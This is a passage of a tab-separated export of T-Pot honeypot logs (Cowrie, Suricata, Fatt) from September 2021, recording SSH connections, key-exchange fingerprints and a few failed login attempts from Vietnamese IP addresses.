"voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22195	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:27.04144+03	2021-09-20 14:15:04.617612+03	{"_id": "qgXiAnwBvYTbRNuEw_4W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1725124805013539, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54962, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.041440Z", "@timestamp": "2021-09-20T11:06:27.041Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22196	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:03.056187+03	2021-09-20 14:15:04.619613+03	{"_id": "AQbjAnwBvYTbRNuETQZg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:34642 (192.168.176.2:22) [session: 653d081ab785]", "session": "653d081ab785", "@version": "1", "protocol": "ssh", "src_port": 34642, "dest_port": 22, "timestamp": "2021-09-20T11:07:03.056187Z", "@timestamp": "2021-09-20T11:07:03.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22197	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:02.359546+03	2021-09-20 14:15:04.620613+03	{"_id": "8gbjAnwBvYTbRNuETQVd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [openvpn/openvpn] failed", "session": "4bb4e49e1dc7", "@version": "1", "password": "openvpn", "username": "openvpn", "timestamp": "2021-09-20T11:07:02.359546Z", "@timestamp": "2021-09-20T11:07:02.359Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22198	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:02.730918+03	2021-09-20 14:15:04.621612+03	{"_id": "8wbjAnwBvYTbRNuETQVd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/@] failed", "session": "fb1ccce9b35a", "@version": "1", "password": "@", "username": "root", "timestamp": "2021-09-20T11:07:02.730918Z", "@timestamp": "2021-09-20T11:07:02.730Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22199	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:01.973438+03	2021-09-20 14:15:04.622612+03	{"_id": "CAbjAnwBvYTbRNuETQZg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50178, "timestamp": "2021-09-20T11:07:01.973438", "@timestamp": "2021-09-20T11:07:01.973Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22200	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:02.026031+03	2021-09-20 14:15:04.623643+03	{"_id": "CQbjAnwBvYTbRNuETQZg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47540, "timestamp": "2021-09-20T11:07:02.026031", "@timestamp": "2021-09-20T11:07:02.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22201	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:02.249403+03	2021-09-20 14:15:04.625613+03	{"_id": "CgbjAnwBvYTbRNuETQZg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50178, "dest_port": 22, "timestamp": "2021-09-20T11:07:02.249403", "@timestamp": "2021-09-20T11:07:02.249Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22207	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:03.816296+03	2021-09-20 14:15:04.633613+03	{"_id": "EAbjAnwBvYTbRNuETwbc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1268131697197395, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40148, "dest_port": 22, "timestamp": "2021-09-20T11:07:03.816296Z", "@timestamp": "2021-09-20T11:07:03.816Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22202	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:02.249644+03	2021-09-20 14:15:04.626613+03	{"_id": "CwbjAnwBvYTbRNuETQZg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bb19f410fe9e", "@version": "1", "timestamp": "2021-09-20T11:07:02.249644Z", "@timestamp": "2021-09-20T11:07:02.249Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22203	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:02.34784+03	2021-09-20 14:15:04.628614+03	{"_id": "DAbjAnwBvYTbRNuETQZg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ed81c353bb43", "@version": "1", "timestamp": "2021-09-20T11:07:02.347840Z", "@timestamp": "2021-09-20T11:07:02.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22204	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:03.058934+03	2021-09-20 14:15:04.629613+03	{"_id": "DQbjAnwBvYTbRNuETQZg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "653d081ab785", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:03.058934Z", "@timestamp": "2021-09-20T11:07:03.058Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22205	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:03.337997+03	2021-09-20 14:15:04.630612+03	{"_id": "DgbjAnwBvYTbRNuETwba", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1101587897833567, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34642, "dest_port": 22, "timestamp": "2021-09-20T11:07:03.337997Z", "@timestamp": "2021-09-20T11:07:03.337Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22206	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:03.35578+03	2021-09-20 14:15:04.631613+03	{"_id": "DwbjAnwBvYTbRNuETwbc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1668703969494670, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38094, "dest_port": 22, "timestamp": "2021-09-20T11:07:03.355780Z", "@timestamp": "2021-09-20T11:07:03.355Z", "event_type": "ssh", "t-pot_ip_ext": 